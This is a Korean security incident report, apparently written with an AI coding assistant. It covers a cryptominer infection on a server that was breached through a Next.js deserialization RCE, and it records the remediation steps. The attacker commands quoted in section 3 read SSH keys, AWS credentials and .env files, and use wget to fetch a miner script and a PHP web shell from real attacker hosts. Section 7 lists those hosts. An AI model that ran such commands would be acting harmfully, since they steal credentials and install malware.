# Server3 보안 사고 조사 보고서 **작성일**: 2026-01-02 **작성자**: Claude Code **대상 서버**: Server3 (192.168.0.203) --- ## 1. 사고 개요 ### 1.1 발견된 공격 Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨. ### 1.2 침해 원인 | 항목 | 내용 | |------|------| | **취약 소프트웨어** | Next.js 16.0.5 (grantech-frontend) | | **취약점** | React Flight Protocol RCE | | **CVE** | GHSA-9qr9-h5gf-34mp | | **심각도** | Critical | ### 1.3 공격 방식 ``` 해커가 Next.js App Router로 악성 직렬화 데이터 전송 ↓ React Flight Protocol이 데이터 역직렬화 (검증 부족) ↓ 서버에서 임의 코드 실행 (RCE) ↓ wget으로 채굴기 다운로드 및 설치 ``` --- ## 2. 공격 타임라인 | 날짜 | 이벤트 | |------|--------| | 2025-12-10 | 최초 공격 시도 (웹쉘 업로드 시도) | | 2025-12-23 | XMRig 채굴기 설치 | | 2025-12-31 | 채굴기 재설치 시도 | | 2026-01-02 | 침해 발견 및 조치 완료 | --- ## 3. 해커가 실행한 명령어 PM2 로그에서 발견된 공격 명령어: | 공격 유형 | 명령어 | 목적 | |-----------|--------|------| | SSH 키 탈취 | `cat ~/.ssh/id_rsa \| base64` | 다른 서버 침투용 | | AWS 자격증명 탈취 | `cat ~/.aws/credentials \| base64` | 클라우드 리소스 접근 | | 환경변수 탈취 | `cat .env`, `cat ../.env` 등 | API 키, 비밀키 탈취 | | 채굴기 설치 | `wget https://72.62.72.248/.../immunify360firewall3.sh` | 암호화폐 채굴 | | 웹쉘 업로드 | `wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php` | 백도어 설치 (실패) | --- ## 4. 발견된 악성 파일 ### 4.1 채굴기 파일 (/dev/shm/.cache/) | 파일명 | 크기 | 설명 | |--------|------|------| | xmrig | 8MB | XMRig 채굴기 바이너리 | | kworker-xfs | 8MB | 커널 프로세스로 위장한 채굴기 | | config.json | 1KB | 채굴 풀 설정 (moneroocean.stream) | | miner | 18KB | 채굴기 실행 스크립트 | ### 4.2 추가 악성 파일 | 경로 | 설명 | |------|------| | /dev/shm/.x/m | 7MB 채굴기 바이너리 | | /tmp/immunify360firewall.sh | 채굴기 설치 스크립트 | | ~/immunify360firewall/ | 채굴기 설치 폴더 (삭제됨) | --- ## 5. 조치 내역 ### 5.1 즉시 조치 (2026-01-02) | 순서 | 조치 | 상태 | |------|------|------| | 1 | grantech-frontend PM2 중지 | ✅ 완료 | | 2 | 채굴기 프로세스 종료 | ✅ 완료 | | 3 | SSH 백도어 키 삭제 | ✅ 완료 | | 4 | systemd user 서비스 삭제 | ✅ 완료 | | 5 | ~/immunify360firewall/ 폴더 삭제 | ✅ 완료 | ### 5.2 취약점 패치 | 조치 | 내용 | |------|------| | Next.js 업데이트 | 16.0.5 → **16.1.1** | | npm audit 결과 | 0 vulnerabilities | | 애플리케이션 재빌드 | ✅ 완료 | ### 5.3 인증정보 교체 | 항목 | 조치 | |------|------| | SSH 키 (Server4) | 재생성 (`damon@autonet` → `damon@server4`) | | Server1 authorized_keys | 새 키 등록, 구 키 제거 | | Server2 authorized_keys | 새 키 등록, 구 키 제거 | | Server3 authorized_keys | 새 키 등록, 구 키 제거 | | Backend SECRET_KEY | 재생성 완료 | ### 5.4 잔존 파일 정리 (재점검 시) | 경로 | 조치 | |------|------| | /dev/shm/.cache/ | 전체 삭제 | | /dev/shm/.x/ | 전체 삭제 | | /tmp/miner.log | 삭제 | | /tmp/xmrig.log | 삭제 | | /tmp/immunify360firewall.sh | 삭제 | --- ## 6. 영향 범위 분석 ### 6.1 서버별 영향 | 서버 | IP | 영향 | 비고 | |------|-----|------|------| | Server1 | 192.168.0.201 | ✅ 없음 | Next.js 미사용 | | Server2 | 192.168.0.202 | ✅ 없음 | Next.js 14.1.0 (취약 범위 외) | | Server3 | 192.168.0.203 | 🔴 침해됨 | Next.js 16.0.5 → 패치 완료 | | Server4 | 개발서버 | ✅ 없음 | Windows, SSH 키 재생성 | ### 6.2 취약 버전 범위 ``` Next.js 14.3.0-canary.77 ~ 16.0.6 (취약) Next.js 14.1.0 (Server2) - 안전 Next.js 16.1.1+ (Server3 패치 후) - 안전 ``` --- ## 7. 공격자 인프라 | 도메인/IP | 용도 | |-----------|------| | 72.62.72.248 | 채굴기 스크립트 배포 서버 | | www.cmer.site | 웹쉘 배포 서버 | | 0x0.st | 파일 공유 (악성코드 호스팅) | | moneroocean.stream | Monero 채굴 풀 | --- ## 8. 재발 방지 대책 ### 8.1 구현 완료 | 대책 | 파일 | |------|------| | npm audit 스크립트 | `scripts/security-audit.sh` | | Git pre-push hook | `scripts/git-hooks/pre-push` | | 주간 보안 점검 | `scripts/weekly-security-check.sh` | | package.json audit 명령 | `npm run audit`, `npm run audit:fix` | ### 8.2 권장 사항 1. **패키지 자동 업데이트** - GitHub 사용 시 Dependabot 활성화 - 또는 Renovate Bot 설정 2. **정기 보안 점검** ```bash # 주간 cron 설정 (Server2) 0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh ``` 3. **네트워크 보안** - 외부 노출 포트 최소화 - 방화벽 규칙 강화 4. **모니터링** - CPU 사용량 이상 알림 설정 - 의심스러운 프로세스 모니터링 --- ## 9. 교훈 1. **프레임워크 취약점 주의**: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인 2. **정기 업데이트 필수**: `npm audit`를 정기적으로 실행 3. **다중 서버 점검**: 한 서버 침해 시 연결된 모든 서버 점검 필요 4. **인증정보 교체**: 침해 후 모든 키/비밀번호 교체 필수 --- ## 10. 최종 상태 | 항목 | 상태 | |------|------| | 채굴기 제거 | ✅ 완료 | | 취약점 패치 | ✅ 완료 | | SSH 키 교체 | ✅ 완료 | | SECRET_KEY 교체 | ✅ 완료 | | 서비스 정상화 | ✅ 완료 | | 보안 자동화 | ✅ 설정 완료 | **결론**: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.